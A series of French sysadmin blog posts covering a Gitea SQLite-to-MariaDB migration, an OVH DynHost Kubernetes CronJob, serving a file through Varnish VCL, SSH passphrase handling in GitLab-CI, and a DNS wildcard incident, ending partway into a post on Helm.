Il n’y en a pas tant que ça, mais je découvre d’autres erreurs. Je décide de les prendre dans l’ordre et de m’atteler donc au souci d’emojis. Il ne tient pas compte de l’entête du fichier ? Pas grave, on est en mode « -e », j’ajoute donc le SET NAMES en premier avant de faire mon source :

mysql -p$MARIADB_ROOT_PASSWORD -e "set NAMES utf8mb4; source /root/gitea-final.sql;"

Tada, plus d’erreurs d’emojis, mais il reste quelque chose d’encore plus cryptique:

ERROR 1292 (22007) at line 31080 in file: '/root/gitea-final.sql': Truncated incorrect DOUBLE value: 'push failed: remote: Invalid username or password.'
ERROR 1292 (22007) at line 31907 in file: '/root/gitea-final.sql': Truncated incorrect DOUBLE value: '<a href="/Seboss666/collect/commit/79b78d68891f8e7b19c6e7b6968914ea2607d2f7">change last films from 10 to 30 (see #4)'
ERROR 1292 (22007) at line 31910 in file: '/root/gitea-final.sql': Truncated incorrect DOUBLE value: 'Flask framework has an extension flask-bootstrap (as mentioned and used in the mega-tutorial), and Bootstrap was one of the c...'
ERROR 1292 (22007) at line 31911 in file: '/root/gitea-final.sql': Truncated incorrect DOUBLE value: '<a href="/Seboss666/collect/commit/5ad6c4660205e3b5c0c29f92bc9ab8adf042cfc8">change default type for new movies (#3)'
ERROR 1292 (22007) at line 31918 in file: '/root/gitea-final.sql': Truncated incorrect DOUBLE value: '<a href="/Seboss666/k3s_platform/commit/edfe7190ab523b635390f5dff4a6b08f69d59c66">consul migration (issue #7)'

Bon, il n’y en a pas beaucoup, et c’est vite trouvé : y’a un truc avec une syntaxe pourtant correcte de concaténation de caractères à base de « double pipes », avec entre deux, un caractère encodé. En tout cas sur l’instant et avec une recherche rapide sur DDG ça a l’air correct et supporté. Cette fois, le caractère en question est censé vouloir dire « retour à la ligne », l’équivalent du « \n » qu’on rencontre parfois, dans les formats sérialisés notamment (coucou JSON). Mais cette erreur SQL par contre, elle couvre beaucoup de cas d’usages différents à voir les résultats de recherche que je trouve, et qui ne correspondent pas au format de données auquel je fais face.

INSERT INTO `push_mirror` (`id`, `repo_id`, `remote_name`, `remote_address`, `sync_on_commit`, `interval`, `created_unix`, `last_update`, `last_error`) VALUES (1,39,'remote_mirror_f93HyYmLhw','https://github.com/seboss666/ovh-dynhost-helm.git',1,28800000000000,1686342369,1737866664,'push failed: remote: Invalid username or password.' || X'0a' || 'fatal: Authentication failed for ''https://github.com/seboss666/ovh-dynhost-helm.git/''' || X'0a' || ' - remote: Invalid username or password.' || X'0a' || 'fatal: Authentication failed for ''https://github.com/seboss666/ovh-dynhost-helm.git/''' || X'0a' || ' - remote: Invalid username or password.' || X'0a' || 'fatal: Authentication failed for ''https://github.com/seboss666/ovh-dynhost-helm.git/''' || X'0a0a');

Je vous passe la bonne heure à tenter des trucs pourris, à me dire que peut-être je vais bricoler à la main pour retoucher les lignes, voire tenter de réécrire les INSERT en question en utilisant la fonction CONCAT (prévue justement pour concaténer des chaînes de caractères),  avant de tomber sur cet article qui parle d’un comportement avec dBeaver (trousse à outil pour bases de données qui peut être assez puissant), et dont la source m’avait déjà cassé les couilles par le passé chez un client d’LBN: les modes SQL. Dans l’article, il parle d’un mode en particulier, PIPES_AS_CONCAT. Une petite vérification rapide montre que je n’ai effectivement pas ce mode d’activé par défaut, il ne reconnait donc pas la syntaxe de concaténation ! Sur l’instant je peste sur le fait qu’il va vraiment falloir que je me penche sur la configuration de mon instance MariaDB et je tente de modifier ma commande pour en arriver à la version finale:

mysql -p$MARIADB_ROOT_PASSWORD -e 'set NAMES utf8mb4; SET sql_mode=(SELECT CONCAT(@@sql_mode, ",PIPES_AS_CONCAT")); source /root/gitea-final.sql;' > source_result.log

Et là, c’est fini, plus d’erreurs !!!

Au tour de Gitea de se faire reconfigurer la face

En effet, maintenant qu’on a une base fonctionnelle, comment lui dire de l’utiliser ? Là, c’est via la documentation à la fois de gitea lui-même et de l’image docker que la solution sera trouvée.

Déjà pour commencer, j’ai la base de données, mais il me faut l’utilisateur et le mot de passe qui vont bien avec. Un coup de GRANT ALL PRIVILEGES plus tard (oui c’est toujours supporté dans MariaDB), c’est fait. Au début, je me dis que je vais la jouer ceinture/bretelles, à savoir modifier le fichier de conf ET les variables d’environnement pour m’assurer que ça fonctionne comme il faut. Côté fichier, simple, je me rends sur mon NAS, entre dans le dossier de configuration de gitea, édite le fichier avec vi (non, pas vim), et modifie les paramètres de la section [database] pour pointer sur MariaDB (la doc officielle de Gitea est particulièrement complète sur ce point).

Pour les variables d’environnement, c’est un poil plus sport. Toutes mes variables sont actuellement définies directement dans le manifeste deployment, je décide de rester comme ça pour l’instant (j’exclus pas de déporter ça dans un ConfigMap plus tard pour la lisibilité), sauf pour un seul d’entre eux, évident: le mot de passe. Lui, je le fous dans un secret via kubectl et référence celui-ci dans mon déploiement.
En gros, ça donne ça :

Au début j’ai une jolie erreur au démarrage, en vérifiant le fichier de configuration il s’avère que ce que j’avais écrit a été remplacé par le contenu fourni dans les variables d’environnement (ce qui me rassure sur le fonctionnement de l’image finalement), mais j’avais été un peu vite dans les copier/coller et merdé le pointage de la base, mauvais nom d’hôte. Je corrige et réapplique, une minute plus tard, j’entends mon NAS gratter salement. Mais pas d’erreur, je confirme en supprimant le fichier sqlite du dossier de données, tout va bien, c’est donc réel. Je tente un push des modifications sur le déploiement de Gitea pour confirmer, tout est toujours bon !

D’autres erreurs possibles ?

Étant donné que la méthode ressemble quand même un peu à du bricolage, c’est pas impossible. Dans le thread d’origine, le gars a expliqué qu’il a quand même dû reconfigurer son fournisseur d’authentification. Je sais pas si c’est lié directement à la migration ou à un autre point de configuration en lien (l’archi autour a peut-être changé, le mode de déploiement aussi, etc), mais en tout cas, dans mon cas, il s’avère que les rares erreurs sont plus liées à la configuration « par défaut » de mon instance MariaDB qui mériterait un peu plus d’amour (ne serait-ce que pour la mettre à jour).

Et on a la chance de pas avoir de contraintes sur de la clé étrangère ou autre, auquel cas il aurait probablement fallu passer par le snippet de Deblan (alias deblantv sur Twitch) qu’il m’a gentiment écrit pendant le live, qui permet de rajouter les commandes de désactivation des contraintes de clés avant de tenter les INSERT. On n’en a pas eu besoin au final, mais je tenais à le remercier pour sa participation, c’est donc tout naturellement que je l’ai tenu informé sur Mastodon en avant-première des avancées, étant donné que c’est sur ce réseau qu’il a vu que j’étais en live et est passé nous voir.

Enfin voilà, j’ai quand même réussi à faire ce que je voulais, et ça fonctionne comme je l’attendais. C’était pourtant pas gagné

Après un retour plutôt positif à ma question de proposer des versions textes de certains sujets abordés pendant certains lives Twitch, on va commencer dans l’ordre avec le plus ancien. Fruit de ma tentative de sauvetage d’un naufrage total du live sur GoDNS, je vous propose donc une solution qui ne nécessite aucun soft dédié (si on met de côté Kubernetes évidemment), et sans avoir besoin de créer une image custom !

C’était mon deuxième live sur YouTube, avant que je ne craque et parte sur Twitch. Je vous remets le lien parce qu’il est moins facile à trouver que les autres, l’ergonomie concernant les lives sur YouTube étant… particulière.

Alors, comme d’hab’, commençons par revenir sur les fondamentaux rapidement, à savoir le DynHost. C’est le nom maison d’OVH pour faire du DNS dynamique. Mais qu’est-ce donc ? Un DNS Dynamique, c’est un dispositif pour mettre fréquemment à jour un enregistrement DNS, notamment un enregistrement A pour une adresse IPv4 qui change fréquemment. Et quand on héberge des trucs chez soi et que votre fournisseur d’accès à Internet ne vous fournit pas d’adresse IPv4 fixe (parce que c’est devenu super rare et super cher), c’est super pratique. Certains connaissent peut-être No-IP, DynDNS, certains fournisseurs étant même directement intégrés dans certains routeurs voire certaines box opérateur.

Bref, c’est donc ce que propose OVH avec son service DynHost. Je vais pas rentrer dans un million de détails, j’ai fait un rôle Ansible à une époque pour gérer le truc avec un service qui s’appelle ddclient, je vous remets l’article que j’avais écrit il y a 4 ans pour comprendre ce qu’il fait, il y a dedans les liens vers les documentations d’OVH sur le sujet.

Le problème pendant le live

En très très gros résumé, je voulais remplacer le ddclient de la VM par un pod Kubernetes (pour l’exercice), mais il y a eu deux gros pépins :

• je voulais utiliser goDNS, mais la doc m’a indiqué qu’OVH n’était pas supporté (sérieux !?)
• je n’ai jamais réussi à faire fonctionner ddclient plus d’une fois après le démarrage dans mon pod Kubernetes, sans que je sache vraiment pourquoi

Bref, j’ai fini par avoir une idée à la con, mon cerveau fonctionnant toujours malgré les minutes et le stress du live passant : revenir à l’appel de base de l’URL de la doc d’OVH, et utiliser un autre objet Kubernetes de manière originale.

Cronjob et Nixery ?

Un Cronjob Kubernetes permet d’exécuter une tache finie dans le temps à intervalles plus ou moins régulier, à la manière d’une tâche cron sur un serveur classique. Lancer une requête Web avec Curl semble donc très facile à faire avec un cronjob, ce qui veut dire qu’on a pas besoin d’une image de furieux pour le faire fonctionner. Le curl se résume à ça :

#
curl -s -u $CREDENTIALS "https://www.ovh.com/nic/update?system=dyndns&hostname=$DOMAIN&myip=$(curl -s -4 ifconfig.me/ip)"
#

Donc on a au final deux curl imbriqués l’un dans l’autre, car il faut bien commencer par déterminer sa propre adresse IP, et des services comme ifconfig.co et ifconfig.me sont très bons pour ça. Et comme on gère une IPv4, on force de faire l’appel en v4 pour s’éviter des problèmes. Et donc le résultat de ce premier appel est utilisé directement pour envoyer la mise à jour chez OVH.

Bref, on a notre « job », on sait comment le planifier, reste l’environnement pour l’exécuter. Et je me rends compte que je n’ai jamais parlé de Nixery ici. J’ai découvert le service grâce à l’incontournable Jérôme Petazzoni. Nixery est un service de fourniture d’images « Docker » (on devrait désormais parler d’images OCI parce qu’il n’y a pas que docker dans la vie), qui ont la particularité de ne pas être statiques, au sens où on l’entend habituellement. Comme vous le savez, les images OCI sont construites sur un modèle de « couches » où une couche contient les modifications par rapport à la couche précédente. La magie de Nixery est de construire une image « à la volée » à partir de couches correspondants aux outils dont on a besoin dans l’image. Dans mon cas, si je demande nixery.dev/arm64/shell/curl, il va me construire une image contenant un busybox et curl, pour une architecture ARM 64bit, mes Raspberry Pi donc. Et c’est tout. Le seul inconvénient, c’est qu’il va mettre un poil plus de temps à répondre pour nous fournir le manifeste. Mais c’est super cool du coup de pas avoir à faire ses images soi-même

On a donc tous les ingrédients. Si on veut faire les choses en quick&dirty, on peut le faire dans un seul fichier que l’on pourrait résumer rapidement comme tel:

---
apiVersion: batch/v1
kind: CronJob
metadata:
  name: dynhost-ovh-cron
  labels:
    app.kubernetes.io/name: dynhost-ovh-cron
spec:
  schedule: "*/5 * * * *"
  jobTemplate:
    spec:
      template:
        metadata:
          labels:
            app.kubernetes.io/name: dynhost-ovh-cron
        spec:
          containers:
          - name: dynhost
            image: "nixery.dev/arm64/shell/curl:latest"
            imagePullPolicy: IfNotPresent
            command:
            - /bin/sh
            - -c
            - curl -s -u $CREDENTIALS "https://www.ovh.com/nic/update?system=dyndns&hostname=$DOMAIN&myip=$(curl -s -4 ifconfig.me/ip)"
            env:
            - name: CREDENTIALS
              value: <BasicAuth>
            - name: DOMAIN
              value: <Dynhost.Domain.tld>
          restartPolicy: OnFailure

Comme c’est un peu cracra de foutre les credentials dans le fichier, pendant le live et par la suite, j’ai peaufiné un chart Helm que j’ai enregistré sur mon Gitea, qui fait un miroir sur GitHub donc je vous partage évidemment le lien. Si d’aventure le README n’est pas suffisamment clair, faites moi signe.

Est-ce qu’on peut faire mieux ?

Probablement, mais déjà pour un quick & dirty réalisé sous stress sans plus de préparation, je suis pas peu fier de moi et depuis les pratiquement deux ans que j’ai mis ça en place, ça fonctionne toujours du feu de dieu. Il manque quand même une bonne partie du setup du DynHost qui se fait majoritairement à la main, mais après tout, ce n’est pas un système qu’on est censé industrialiser en permanence.

Et idéalement tout le monde passe à IPv6 et on peut laisser tomber IPv4. Mais ça, vu que même Github le supporte pas encore, on est pas rendus…

Bon, maintenant, quel autre sujet d’ancien live mériterait un article écrit en complément ?

Varnish, en voilà une techno qu’on ne voit pas tous les jours sur les plateformes modernes d’hébergement, et pourtant, ça se déploie même dans Kubernetes Et si je vous dis que j’ai eu à gérer un cas de fourniture de contenu dans un contexte plus que particulier, avec du Varnish en frontal, et que je ne pouvais pas passer par le serveur web ? Allez, je vous explique.

Varnish, un logiciel méconnu, mais très puissant

Varnish est un serveur « cache », qui fonctionne comme un « proxy » entre votre site web et ses visiteurs. Son rôle est de garder en mémoire temporairement le résultat de la construction des pages de votre site. En effet, quand vous visitez un site comme le mien par exemple, le moteur WordPress, qui doit être chargé en premier lieu, doit construire l’intégralité du code HTML de la page, avec les références aux feuilles de style, aux scripts JavaScript des différents plugins, et le contenu de la page en question, ce qui implique des appels à la base de données. Bref, un paquet d’activités à rejouer pour chaque visiteur, chaque page visitée. Si le contenu d’une page n’a pas à bouger pendant un certain temps, on peut se dire que générer une fois la page, et servir le résultat X fois pendant ledit certain temps, est un gain de ressources et donc de performances non négligeable. C’est un des points forts des CDN, allié à l’aspect géographique de ce type de service.

Varnish est reconnu pour son empreinte minimaliste, et ses performances redoutables. Il est aussi connu pour la mentalité des développeurs du projet concernant la sécurité (ils se sont réjoui le jour où ils ont ouvert une section « security advisory », après 10 ans d’existence). Il est aussi devenu un peu pénible à utiliser depuis que le HTTPS s’est généralisé, parce que les développeurs ont pris le parti de ne pas l’implémenter, ce qui a réduit un peu son intérêt. L’usage des CDNs étant une autre raison du désamour croissant.

Le contexte particulier qui nous intéresse

Particulier, c’est bien le mot : le site sur lequel je dois intervenir est déployé avec Docker, un container avec Varnish en frontal, un container avec Apache/PHP derrière. Mais j’ai plusieurs problèmes avec cette plateforme. Les containers sont déployés avec docker-compose, mais je n’ai pas accès au fichier, tout est construit et déployé avec un pipeline Jenkins, jusque là rien que de très commun me direz-vous. Sauf que le serveur Jenkins n’existe plus non plus, je n’ai accès à aucune source ni aucun support de l’agence web d’origine (plus de contrat). Le bonheur de tout sysadmin.

On me demande de mettre à jour le « merchant ID » d’Apple pour le site web (un identifiant qui sert pour Apple Pay), et ça passe par un fichier spécial qui doit être joignable avec une URI de la forme /.well-known/apple-developer-merchantid-domain-association. Pas de bol, le container avec le site web est en lecture seule (comprendre, l’utilisateur du container n’est pas le propriétaire du « DocumentRoot », le dossier qui contient le site web). Mais, le Varnish 5 présent en front, lui, il l’est, d’autant plus qu’on a accès à son compte root !

On est donc tout équipé pour tenter une greffe à chaud sans anesthésie.

Opération à cœur ouvert

J’identifie le fichier « VCL » qui contient la configuration relative au site, et j’attaque la première tentative. On rajoute un test dans la section vcl_recv{} :

sub vcl_recv {
if (req.url ~ "^/.well-known/apple-developer-merchantid-domain-association") {
return (synth(200,"7C227073704964223B2236304337424..."));
}

return (synth(() est la méthode à utiliser si on veut renvoyer du contenu qui ne vient pas du backend. Il faut par contre définir quelques propriétés dans la section vcl_synth{} pour qu’il ne renvoie pas du HTML par défaut mais du texte brut :

sub vcl_synth {
set resp.http.Content-Type = "text/plain; charset=utf-8";
set resp.body = resp.reason;
return(deliver);
}

Vient ensuite l’injection à chaud de la configuration. C’est un truc que j’aime bien avec Varnish, on peut lui demander de charger plusieurs configurations en parallèle et basculer entres celles-ci en fonction des besoins. En gros, voilà ce que je fais :

bash-5.0# varnishadm
200
-----------------------------
Varnish Cache CLI 1.0
-----------------------------
Linux,3.10.0-1160.83.1.el7.x86_64,x86_64,-junix,-smalloc,-sdefault,-hcritbit
varnish-6.2.1 revision 9f8588e4ab785244e06c3446fe09bf9db5dd8753

Type 'help' for command list.
Type 'quit' to close CLI session.

varnish> vcl.list
200
active warm warm 2 boot

varnish> vcl.load apple /var/varnish-docker/dockerized.apple.vcl
200
VCL compiled.

varnish> vcl.list
200
active warm warm 2 boot
available auto warm 0 apple

varnish> vcl.use apple
200
VCL 'apple' now active
varnish> quit
500
Closing CLI connection
bash-5.0# curl -s http://127.0.0.1:6081/.well-known/apple-developer-merchantid-domain-association
7C227073704964223B2236304337424(...)

Le détail du fonctionnement des commandes Varnish se trouve dans la documentation.

Hourra ! Enfin presque, parce qu’après avoir informé le client, ce dernier me dit que c’est toujours pas bon. Et là, le gaillard qui travaille sur l’intégration Apple Pay m’indique qu’il y a un souci avec le checksum (première fois que c’est mentionné dans nos échanges). La documentation que l’on ne m’avait évidemment pas fourni indiquait bien de livrer le fichier et de ne pas copier son contenu. Je vous le donne en mille, il manque un retour à la ligne à la fin.

J’ai donc bossé sur une alternative. La doc de Varnish me renvoie vers un std.fileread(). Je copie donc le fichier dans le même répertoire que le VCL, et j’en profite pour faire une syntaxe un poil plus propre au niveau de ce dernier, la voici.

sub vcl_recv {
    if (req.url ~ "^/.well-known/apple-developer-merchantid-domain-association") {
        return (synth(200,"apple"));
    }
(...)
}

sub vcl_synth {
(...)
if (resp.reason == "apple") {
    set resp.http.Content-Type = "text/plain; charset=utf-8";
    set resp.body = std.fileread("/var/varnish-docker/apple-developer-merchantid-domain-association");
    return(deliver);
  }
}

Et là, j’ai bien le bon checksum (franchement, pour un retour à la ligne…). À noter qu’il faut bien faire attention aux permissions du fichier qu’il doit lire – même si dans le cas présent on est root-, et que le contenu n’est pas lu dynamiquement, mais mis en cache au chargement à l’instar du reste de la configuration, il faut donc jouer avec use/discard/load/use de varnishadm pour jouer avec les configs (ou charger avec un nom différent à chaque fois, mais c’est un peu plus dégueu).

Dans mon cas, vu le peu de persistance nécessaire je me suis arrêté là. Le site était en cours de refonte et c’est d’ailleurs ce qui a motivé le choix de l’ajout du fichier en premier lieu sur cette plateforme, vu qu’elle répondait déjà au domaine. Je n’avais pas le temps de tenter un reverse des images pour la jouer au niveau du serveur web, et c’était cool au final de bosser avec Varnish, que je vous recommande de découvrir rien que pour comprendre comment fonctionnent certains CDNs.

Amusez-vous bien

C’est un cas peu commun et qui m’a donné du fil à retordre (on parle de 3h d’essais/erreurs), c’est suffisamment barbu pour que je prenne la peine de partager l’info, en redonnant du contexte et un peu plus d’explications quand même.

Le contexte, donc

Nous sommes dans une migration de jobs qui s’exécutaient sur Jenkins à la main et qui doivent être refaits dans Gitlab-CI. Une grande partie de la facilité vient du fait que tout est basé sur Ansible, ce qui fait qu’on a finalement qu’à gérer « l’autour » de la logique des jobs, à savoir le setup de l’environnement d’exécution pour Ansible. Certains de ces jobs ciblent des serveurs sous Windows, d’autres sous Linux (Ansible fait ça très bien, via WinRM/Powershell pour Windows, SSH/Python pour Linux). Pour les Windows, un compte technique dans l’annuaire utilisé pour les environnements de préproduction fera le taf à la place de… variables utilisateurs/mots de passe fournies aux jobs à l’exécution. Pour les Linux, ça repose sur un compte dédié avec une clé SSH exploitée par Jenkins.

En temps normal personne se poserait de question, sauf que là, mon problème est que la clé est protégée par une phrase de passe, en anglais passphrase, et c’est particulièrement compliqué de travailler avec, au point que la plupart des gens recommandent de virer la phrase de la clé. Sauf que là, c’est hors de question, j’ai pas le droit d’y toucher. Au moins je peux la récupérer depuis un Vault Hashicorp privé. Et donc, mon premier symptôme, c’est ça :

debug1: Trying private key: /home/appuser/.ssh/id_rsa
debug1: read_passphrase: can\'t open /dev/tty: No such device or address

SSH, ça s’automatise bien normalement, et puis…

Le fameux tty qu’on voit, c’est l’interface qui doit permettre à l’utilisateur d’interagir, et donc de saisir la passphrase au moment souhaité, à savoir quand il doit la présenter pour la connexion. On comprend donc le problème avec un pipeline Gitlab-CI: point de TTY. Et pas la peine d’y penser, le client SSH n’a aucune autre méthode directe pour accepter ladite phrase (c’est pas comme l’installation du SDK Android où on peux suffixer < yes pour répondre automatiquement aux questions d’acceptation des licences).

À force de chercher et de torturer mes termes de recherche, je finis par tomber sur cet article. Fait intéressant, il mentionne des options/variables d’Ansible pour manipuler justement les clés et éviter de fournir la phrase à chaque fois. Mais le problème, c’est que pour ansible_ssh_prompt, on doit indiquer l’intitulé de la question à laquelle on doit répondre par la passphrase et qu’il va devoir « capturer ». Question qui n’est jamais posée puisque pas de TTY pour ça. Ce n’est donc toujours pas exploitable, mais une réponse suivante sur la même page me mets sur la voie.

Cette ligne m’intrigue particulièrement:

- echo "$SSH_PRIVATE_KEY" |tr -d '\r' | DISPLAY=None SSH_ASKPASS=~/.ssh/tmp ssh-add -

La documentation d’ssh-add va répondre à mes questions:

DISPLAY, SSH_ASKPASS et SSH_ASKPASS_REQUIRE
    Si ssh-add a besoin d'une phrase secrète, il la lira sur le terminal actif s'il a été lancé dans un terminal. Si ssh-add n'a aucun terminal associé alors que DISPLAY et SSH_ASKPASS sont défi‐
    nies, il exécutera le programme spécifié par SSH_ASKPASS (par défaut « ssh-askpass ») et ouvrira une fenêtre X11 pour lire la phrase secrète. Cela s’avère particulièrement utile lors de l'appel
    de ssh-add depuis un fichier .xsession ou un script similaire.

Je tente donc la solution, mais fait face à un nouveau message d’erreur:

ssh_askpass: exec(/home/appuser/.ssh/.print_ssh_password): Exec format error

Là, ça m’a pris beaucoup moins de temps, et la solution finale était tout près, il manque le shebang au script que je fournis (.print_ssh_password). Au passage, et contrairement à la majorité des posts que j’ai pu lire sur le sujet, j’utilise une base python-alpine pour le job et pas Debian/Ubuntu, ce n’est donc pas bash qui est aux commandes, et donc il faut adapter un chouia la séquence, mais ça a donné ça :

script:
  - echo "[SSH]Initialisation Clé"
  - |
    mkdir ~/.ssh && chmod 700 ~/.ssh
    echo -ne '#!/bin/sh\necho $passphrase' > ~/.ssh/.print_ssh_password
    chmod 700 ~/.ssh/.print_ssh_password
    eval $(ssh-agent)
    echo "$key" | tr -d '\r' | DISPLAY="None" SSH_ASKPASS=~/.ssh/.print_ssh_password ssh-add -
  - echo "[INFO] Ping du serveur"
  - ansible linux_server -m ping -i inventories/$ANSIBLE_INVENTORY -vvvvvv

Ouais, la brochette de v à la fin permet d’avoir le moindre bout de message d’erreur, franchement abusez-en pendant une telle opération c’est super pratique.

Donc, qu’est-ce qu’on a fait ? En amont, via Vault, on récupère la clé privée dans la variable key et sa passphrase dans la variable passphrase, rien de très original là-dedans. En passant, comme cette récupération se fait pendant l’exécution du job, job qui se lance dans un runner Kubernetes, il n’y a pas de stockage persistant de ces variables. On crée le dossier .ssh avec les bonnes permissions à la racine du dossier utilisateur de l’image, et on y place un petit script dont le seul rôle est d’afficher le contenu de la variable passphrase. On démarre le ssh-agent, puis on traite le contenu de la variable key (pour virer d’éventuels retours chariot à la Windows), avant de l’envoyer à ssh-add (le tiret à la fin permet de dire qu’on lui envoie la clé directement, sans passer par un fichier), à qui on précise les variables DISPLAY et SSH_ASKPASS pour éviter de chercher à poser la question à un humain, la réponse étant directement fournie par le script.

Le résultat est sans appel:

linux_server | SUCCESS => {
    "ansible_facts": {
        "discovered_python_interpreter": "/usr/bin/python"
    },
    "changed": false,
    "invocation": {
        "module_args": {
            "data": "pong"
        }
    },
    "ping": "pong"
}

« Ça serait pas arrivé avec Kubernetes »

C’est vrai quoi, une API finalement c’est mieux pour faire tout ça non ?

J’avais envie de troller un peu, mais plus sérieusement, étant donné qu’il y a aussi un annuaire pour gérer les connexions utilisateurs sous Linux, je suis surpris que la méthode repose sur ce genre de mécanisme avec un compte local et une clé SSH et pas un compte technique de la même nature que pour les Windows, ce qui aurait simplifié le processus tout en harmonisant les configurations.

En tout cas, j’étais soulagé et heureux d’avoir pu trouver la solution et continuer mes migrations. Et vous, vos connexions SSH dans Gitlab-CI, vous les gérez comment ?

Encore un déterrage de brouillon, sur un problème qui doit être toujours d’actualité dans son concept. Un Problème surprenant (pour les pros du DNS peut-être pas), mais voilà, on a eu droit à un incident inattendu, que je voulais partager pour sa bizarrerie apparente. Parce que si j’ai trouvé la solution assez rapidement, il m’a fallu du temps pour comprendre, et je suis pas encore certain d’avoir tout intégré, même deux ans et demi après.

Pour fournir une résolution souple aux clients sur leur plateforme Kubernetes (parce que pourquoi pas), on leur a fourni un alias à configurer sur leur propre zone, histoire de ne pas avoir à dépendre d’eux pour d’éventuelles migrations/reconfigurations déménagements. Cet alias repose sur une fonctionnalité du DNS, les wildcard. Ça donne quelque chose dans ce genre-là :

#notredomaine.fr

prd    A    1.2.3.4
sta    A    5.6.7.8
*.prd CNAME prd
*.sta CNAME sta

On l’aura compris, « prd » c’est le cluster de prod, « sta » le cluster de staging. De leur côté, les clients déclarent l’alias dans leur propre zone :

www.domainX.com    CNAME    www.domainX.com.prd.notredomaine.fr

Dans une situation simple, classique, c’est l’alias *.prd qui prend en charge et fournit la réponse aux clients qui cherchent à joindre un des domaines concernés par ce dispositif. Ah, et en passant, on ne peut pas appliquer un CNAME à l’apex (autrement appelé la racine) d’un domaine (RFC je sais plus, demandez à votre moteur de recherche). Et si vous vous demandez pourquoi un tel setup, c’est qu’on se sert aussi d’un tel « domaine technique » (comprendre un domaine différent de celui du vrai site et géré par nos soins) pour pouvoir tester le site dans différentes situations sans reposer sur le nom de domaine du client, notamment pendant certaines phases de validation, et pour pouvoir gérer ça au niveau des Ingress Rules.

Déplacement d’Ingress Controller, arrivent les problèmes

Eh oui, parce que la vie est ainsi faite, on nous demande de déployer un Ingress Controller particulier avec des paramètres bien précis, donc une nouvelle adresse IP, et de déplacer certains des sites derrière celui-ci. Je vais pas détailler la partie « kube » de ce dispositif, c’est assez trivial en principe (cherchez ingressClass si vraiment vous voyez toujours pas), mais voilà comment on prépare côté DNS :

prd-private    A    4.3.2.1
*.prd-private    CNAME    prd-private

Et quand on doit bouger www.domain2.com, avec notre dispositif, avec le Go du client, j’applique la modif côté cluster et je déplace de manière explicite côté DNS de mon côté:

www.domain2.com.prd    CNAME    prd-private

Et là, patatras. Quand un collègue est venu me voir au bout d’un quart d’heure, en me disant qu’un autre domaine sans rapport avec ma modification était tombé, et ayant l’historique prouvant que j’étais le dernier à avoir modifié notre zone notredomaine.fr, il est clair que l’effet de bord n’avait pas été correctement anticipé. Mais quel effet me direz-vous, sachant qu’on avait testé en staging avant sans avoir détecté ce genre de comportement ?

Le premier indice, c’est que tous les domaines ne sont pas concernés. Sur les 4 alertes qui sont apparues, le point commun est que toutes les URLs ont des domaines en .com. Le second, c’est que ma modif fonctionne pour mon propre domaine. Au bout de cinq minutes, je dis à Camille : « je suis pas sûr mais je tente un truc ». J’ai rajouté une ligne :

*.com.prd    CNAME    prd

Et ça répond à nouveau. J’ai eu du pif, mais j’avoue que sur le moment, c’est plus de l’instinct qu’autre chose, et j’aurais été bien en peine d’expliquer pourquoi, mais au niveau du comportement, on voit maintenant ce qui se passe. Je vais essayer de formuler du mieux possible ce que j’en ai compris.

Explication pas forcément claire

Pour rappel, dans le DNS les domaines fonctionnent par niveau, chaque niveau est séparé par un point. On parle souvent de « sous-domaine », mais c’est un abus de langage, en pratique, chaque niveau dispose des mêmes fonctionnalités et propriétés, ils héritent de certaines caractéristiques, le système étant hiérarchique (com, domain.com, www.domain.com, etc). Dans le cas qui nous occupe, tant qu’on avait qu’un seul wildcard pour tout ce qui concernait les niveaux au dessus de prd.mondomaine.fr, le résolveur ne se posait pas trop de questions et répondait à tout. Mais quand j’ai déclaré www.domain2.com.prd dans mondomaine.fr, j’ai donc déclaré au moins une entrée sur .com.prd. À partir de ce moment-là, cette déclaration explicite exclut toutes les autres réponses par le wildcard. La seule solution de contournement implique de déclarer un wilcard supplémentaire pour ce niveau spécifiquement afin de retrouver un comportement initial.

Pourquoi ce comportement ? Eh bien, comme je l’ai dit, les domaines sont gérés par niveau, et il faut savoir que chaque niveau peut être délégué / géré par un résolveur différent. Dès lors, déclarer une entrée spécifique pour un niveau implique que le résolveur arrête d’appliquer les propriétés des niveaux précédents aux niveaux suivants, ce que permet justement le wildcard. Et c’est logique, si un niveau contient des informations (ici au moins un CNAME), si jamais il est délégué, on n’est pas censé répondre à la place dudit délégué. Certes ici c’est le même, et donc il aurait pu continuer de répondre. Il faut se souvenir que le système de DNS remonte à 1983, et même s’il a été mis à jour à la marge, la majorité du fonctionnement intrinsèque n’a pas bougé, et cette gestion en niveaux en fait partie.

On évite les wildcard alors ?

Certains diront oui, mais dans le monde réel, parfois c’est plus pratique/évident de faire avec (tout le monde ne peut pas composer avec de la résolution dynamique comme le fait Kubernetes en interne). Ici, la solution la plus pratique aurait été de supprimer l’utilisation des .com/.fr/.it/.whatever des alias, et ne garder que le nom sans le TLD, ce qui aurait rendu chaque entrée plus unique et donc limité l’impact de l’exclusion du wildcard global du « calcul » de la réponse.

Dans certaines situations, déléguer le niveau de l’alias est une solution plus adaptée, notamment dans le cadre de l’usage certains outils comme les CDN Cloudflare ou Akamai, ainsi ils se chargent notamment de la mise à jour dynamique de la ou les adresses IP par lesquelles vous passez. Certains utilisent aussi du DNS « géographique », à savoir donner une réponse différente en fonction de là où vous vous trouvez sur le réseau (plus ou moins corrélé à votre emplacement physique), réponse qui doit pointer sur un serveur plus proche et donc plus « performant ». Bref, vous l’aurez compris, le wildcard dans le DNS n’est pas toujours la solution la plus adaptée, et ce problème rencontré en production est là pour le rappeler.

Ah, et pour ceux qui pensent qu’on aurait pu juste tout déclarer manuellement, quand on pense une plateforme pour de l’hébergement massif, semi-dynamique, et qu’on a pas les API / accès pour gérer la zone programmatiquement, et qu’on a passé les 50 sites, ben utilise les wildcards DNS « épicétou »

On a beau concevoir des chaînes d’intégration et de déploiement continu pour que les mises à jour fréquentes de sites web soient facilitées, il arrive tout de même de temps en temps que des projets « zombies » traînent sur une plateforme hébergeant de nombreuses applications gérées par des équipes différentes. Et si vous faites correctement votre travail de maintenance d’infrastructure de votre côté,  ben parfois, on tombe sur un gros os.

Si vous pensez que l’article ne sert à rien ou presque, allez jusqu’au post-scriptum

Sur cette plateforme, les livraisons se font avec Helm. Depuis Helm 3, l’historique de livraison est stocké dans des secrets Kubernetes dans le namespace cible. Il faut savoir que lors d’une livraison, das les grandes lignes voilà ce que fait Helm :

1. « Compiler » les manifestes à partir des templates et des variables fournies (fichiers values, --set)
2. Comparer le résultat à celui de la précédente livraison
3. Interroger l’API Server pour vérifier la présence des objets de cette précédente livraison
4. Générer/supprimer/patcher les ressources concernées par des modifications, ce qui correspond de fait à la livraison
